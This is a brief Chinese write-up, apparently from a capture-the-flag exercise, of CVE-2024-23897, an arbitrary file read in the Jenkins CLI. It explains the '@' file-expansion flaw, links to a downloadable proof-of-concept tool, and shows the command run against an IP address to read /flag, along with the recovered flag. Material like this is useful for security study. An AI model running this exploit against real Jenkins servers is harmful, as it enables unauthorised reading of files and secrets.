1.漏洞介绍

Jenkins 2.441及更早版本，以及LTS 2.426.2及更早版本没有禁用其CLI命令解析器的一个功能，该功能会将参数中'@'字符后跟的文件路径替换为该文件的内容，允许未经身份验证的攻击者读取Jenkins控制器文件系统上的任意文件。

2.poc利用

下载地址:

https://github.com/wjlin0/CVE-2024-23897/releases/download/v1.0.1/CVE-2024-23897_1.0.1_windows_amd64.zip

CVE-2024-23897.exe -u http://39.106.48.123:34583/ -a /flag

flag{d2545f14-3361-4c73-83ce-c7a16cfadf1c}